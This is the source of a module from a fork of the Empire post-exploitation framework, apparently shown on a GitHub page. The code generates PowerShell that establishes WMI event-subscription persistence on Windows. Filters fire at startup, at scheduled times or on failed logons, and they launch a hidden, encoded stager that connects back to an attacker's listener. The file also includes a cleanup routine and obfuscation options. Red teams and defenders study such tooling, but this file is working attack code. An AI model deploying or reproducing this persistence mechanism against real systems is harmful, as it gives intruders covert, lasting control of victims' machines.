forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 586
/
wmi.py
259 lines (227 loc) · 11.1 KB
/
wmi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
import os
from empire.server.common import helpers
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# trigger options
daily_time = params["DailyTime"]
day = params["Day"]
day_of_week = params["DayOfWeek"]
sub_name = params["SubName"]
dummy_sub_name = "_" + sub_name
failed_logon = params["FailedLogon"]
# management options
ext_file = params["ExtFile"]
cleanup = params["Cleanup"]
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
status_msg = ""
if cleanup.lower() == "true":
# commands to remove the WMI filter and subscription
script = (
"Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='"
+ sub_name
+ "'\"| Remove-WmiObject;"
)
script += (
"Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='"
+ sub_name
+ "'\" | Remove-WmiObject;"
)
script += (
"Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '"
+ sub_name
+ "'} | Remove-WmiObject;"
)
script += (
"Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='"
+ dummy_sub_name
+ "'\"| Remove-WmiObject;"
)
script += (
"Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='"
+ dummy_sub_name
+ "'\" | Remove-WmiObject;"
)
script += (
"Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '"
+ dummy_sub_name
+ "'} | Remove-WmiObject;"
)
script += (
"'WMI persistence with subscription named " + sub_name + " removed.'"
)
script = main_menu.obfuscationv2.obfuscate_keywords(script)
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script
if ext_file != "":
# read in an external file as the payload and build a
# base64 encoded version as encScript
if os.path.exists(ext_file):
with open(ext_file) as f:
fileData = f.read()
# unicode-base64 encode the script for -enc launching
enc_script = helpers.enc_powershell(fileData)
status_msg += "using external file " + ext_file
else:
return handle_error_message("[!] File does not exist: " + ext_file)
else:
if listener_name == "":
return handle_error_message(
"[!] Either an ExtFile or a Listener must be specified"
)
# if an external file isn't specified, use a listener
elif not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
enc_script = launcher.split(" ")[-1]
status_msg += "using listener " + listener_name
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
if len(enc_script) > 8190:
return handle_error_message(
"[!] Warning: -enc command exceeds the maximum of 8190 characters."
)
# built the command that will be triggered
trigger_cmd = (
"$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc "
+ enc_script
)
if failed_logon != "":
# Enable failed logon auditing
script = "auditpol /set /subcategory:Logon /failure:enable;"
# create WMI event filter for failed logon
script += (
'$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{Name=\''
+ sub_name
+ "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%"
+ failed_logon
+ "%'\"}; "
)
status_msg += " with trigger upon failed logon by " + failed_logon
elif daily_time != "" or day != "" or day_of_week != "":
# add DailyTime to event filter
parts = daily_time.split(":")
if len(parts) < 2:
return handle_error_message("[!] Please use HH:mm format for DailyTime")
hour = parts[0]
minutes = parts[1]
# some presets for building status message and the script
status_msg_day = " daily"
day_filter = ""
script = ""
# if those day and day_of_week are combined, return nothing for the script
if day != "" and day_of_week != "":
return handle_error_message("[!] Can not combine Day and DayOfWeek")
# add day or day_of_week to event filter
if day != "":
if (int(day) < 1) or (int(day) > 31):
return handle_error_message(
"[!] Please stick to range 1-31 for Day"
)
day_filter = " AND (TargetInstance.Day = " + day + ")"
status_msg_day = " every day of month: " + day + " (1-31)"
elif day_of_week != "":
if (int(day_of_week) < 0) or (int(day_of_week) > 6):
return handle_error_message(
"[!] Please stick to range 0-6 for DayOfWeek"
)
day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")"
status_msg_day = " every day of week: " + day_of_week + " (0-6)"
# creating and bind a dummy WMI event filter with a "nop event consumer" as workaround for win32_localtime.day_of_week bug
day_filter_dummy = (
" AND (TargetInstance.DayOfWeek="
+ day_of_week
+ " OR TargetInstance.DayOfWeek="
+ str(int(day_of_week) + 1)
+ ")"
)
script += (
'$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
+ dummy_sub_name
+ "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
+ day_filter_dummy
+ " AND (TargetInstance.Hour = "
+ hour
+ ") AND (TargetInstance.Minute = "
+ minutes
+ ') GROUP WITHIN 60"};'
)
script += (
"$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"
+ dummy_sub_name
+ "';CommandLineTemplate=\"call\";RunInteractively='false'};"
)
script += ' Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;'
# create the real WMI event filter for a system time
script += (
'$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
+ sub_name
+ "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
+ day_filter
+ " AND (TargetInstance.Hour = "
+ hour
+ ") AND (TargetInstance.Minute = "
+ minutes
+ ') GROUP WITHIN 60"};'
)
status_msg += (
" with WMI subscription trigger at " + daily_time + status_msg_day + "."
)
else:
# create the WMI event filter for OnStartup
script = (
'$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
+ sub_name
+ "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
)
status_msg += " with OnStartup WMI subsubscription trigger."
# add in the event consumer to launch the encrypted script contents
script += (
"$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"
+ sub_name
+ "';CommandLineTemplate=\""
+ trigger_cmd
+ "\";RunInteractively='false'};"
)
# bind the filter and event consumer together
script += ' Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;'
script += "'WMI persistence established " + status_msg + "'"
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script